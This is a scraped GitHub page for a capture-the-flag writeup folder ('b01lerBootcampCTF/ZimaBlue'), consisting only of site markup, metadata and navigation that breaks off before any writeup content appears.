data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script>
<meta name="viewport" content="width=device-width"> <title>CTFwriteups/b01lerBootcampCTF/ZimaBlue at master · notAHacker007/CTFwriteups · GitHub</title> <meta name="description" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/03329b9228297391ddacb5967ff08d8bcf7a6e53c138f5a5a3f12a37a6dc56e6/notAHacker007/CTFwriteups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTFwriteups/b01lerBootcampCTF/ZimaBlue at master · notAHacker007/CTFwriteups" /><meta name="twitter:description" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/03329b9228297391ddacb5967ff08d8bcf7a6e53c138f5a5a3f12a37a6dc56e6/notAHacker007/CTFwriteups" /><meta property="og:image:alt" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTFwriteups/b01lerBootcampCTF/ZimaBlue at master · notAHacker007/CTFwriteups" /><meta property="og:url" content="https://github.com/notAHacker007/CTFwriteups" /><meta property="og:description" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="C440:052F:F40069:FF9CE3:6183082F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="a57f0aae40865334eda0e57e4ae30e3da4e2a1b9e8f03eb759cdd790b440c31d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDNDQwOjA1MkY6RjQwMDY5OkZGOUNFMzo2MTgzMDgyRiIsInZpc2l0b3JfaWQiOiI3NDQzMzk4ODk3OTQ0NDMwNjM5IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="8e5e44e30290f1cb5df19851fea30a717670cf3635cb85281fec13242e7bc59a" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:291562148" data-pjax-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" />
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION">
<meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5">
<meta name="go-import" content="github.com/notAHacker007/CTFwriteups git https://github.com/notAHacker007/CTFwriteups.git">
<meta name="octolytics-dimension-user_id" content="68519647" /><meta name="octolytics-dimension-user_login" content="notAHacker007" /><meta name="octolytics-dimension-repository_id" content="291562148" /><meta name="octolytics-dimension-repository_nwo" content="notAHacker007/CTFwriteups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="291562148" /><meta name="octolytics-dimension-repository_network_root_nwo" content="notAHacker007/CTFwriteups" />
<link rel="canonical" href="https://github.com/notAHacker007/CTFwriteups/tree/master/b01lerBootcampCTF/ZimaBlue" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2">
</div>
<div class="d-flex flex-items-center"> Sign up
<button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg>
</button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg>
</button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span>
Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span>
GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans <span>→</span> Contact Sales <span>→</span>
Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0">
<div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="291562148" data-scoped-search-url="/notAHacker007/CTFwriteups/search" data-owner-scoped-search-url="/users/notAHacker007/search" data-unscoped-search-url="/search" action="/notAHacker007/CTFwriteups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Q4BfVoXPzjyBX9E/YtjXKE9IeTWB0kjw0NE4RRpnkBdXr4oxjoYAsOhNqXs2X1Kq3mXcBpWeFxTx7VbnxksHfA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div>
Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div data-pjax-replace id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container >
<div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace>
<div class="d-flex mb-3 px-3 px-md-4 px-lg-5">
